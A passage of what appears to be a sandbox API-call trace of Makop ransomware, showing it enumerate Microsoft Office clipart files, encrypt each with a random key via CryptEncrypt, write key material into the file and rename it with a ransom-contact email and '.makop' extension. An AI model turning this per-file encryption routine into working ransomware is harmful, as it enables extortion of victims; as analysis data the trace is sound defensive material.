lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.875] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.876] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.876] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.876] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.876] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x738, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x738, lpOverlapped=0x0) returned 1 [0115.877] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x740, dwBufLen=0x740 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x740) returned 1 [0115.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x740, lpOverlapped=0x0) returned 1 [0115.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.877] SetEndOfFile (hFile=0xf0) returned 1 [0115.884] GetProcessHeap () returned 0x48a0000 [0115.885] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.885] GetProcessHeap () returned 0x48a0000 [0115.885] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.885] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.886] CloseHandle (hObject=0xf0) returned 1 [0115.886] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1 [0115.886] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 63 [0115.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.888] GetProcessHeap () returned 0x48a0000 [0115.888] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.888] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0115.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.894] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.894] GetProcessHeap () returned 0x48a0000 [0115.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.895] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.895] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.896] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2bb6, lpOverlapped=0x0) returned 1 [0115.897] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bc0, dwBufLen=0x2bc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2bc0) returned 1 [0115.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2bc0, lpOverlapped=0x0) returned 1 [0115.898] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.898] SetEndOfFile (hFile=0xf0) returned 1 [0115.905] GetProcessHeap () returned 0x48a0000 [0115.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.905] GetProcessHeap () returned 0x48a0000 [0115.905] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.905] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.906] CloseHandle (hObject=0xf0) returned 1 [0115.907] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1 [0115.907] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 63 [0115.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.909] GetProcessHeap () returned 0x48a0000 [0115.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.909] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.914] GetProcessHeap () returned 0x48a0000 [0115.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.915] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.915] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.915] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x764, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x764, lpOverlapped=0x0) returned 1 [0115.915] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x770, dwBufLen=0x770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x770) returned 1 [0115.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x770, lpOverlapped=0x0) returned 1 [0115.916] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.916] SetEndOfFile (hFile=0xf0) returned 1 [0115.924] GetProcessHeap () returned 0x48a0000 [0115.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.924] GetProcessHeap () returned 0x48a0000 [0115.924] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.924] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.924] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.925] CloseHandle (hObject=0xf0) returned 1 [0115.928] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1 [0115.930] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0115.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.930] GetProcessHeap () returned 0x48a0000 [0115.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.931] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.935] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.935] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.935] GetProcessHeap () returned 0x48a0000 [0115.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.935] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.938] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.938] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.938] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2b8, lpOverlapped=0x0) returned 1 [0115.938] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c0) returned 1 [0115.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.938] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c0, lpOverlapped=0x0) returned 1 [0115.938] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.938] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.939] SetEndOfFile (hFile=0xf0) returned 1 [0115.946] GetProcessHeap () returned 0x48a0000 [0115.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.946] GetProcessHeap () returned 0x48a0000 [0115.946] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.946] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.947] CloseHandle (hObject=0xf0) returned 1 [0115.947] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x0, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1 [0115.947] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0115.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.948] GetProcessHeap () returned 0x48a0000 [0115.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.948] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.953] GetProcessHeap () returned 0x48a0000 [0115.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.954] CryptEncrypt (in: hKey=0x48c7128, 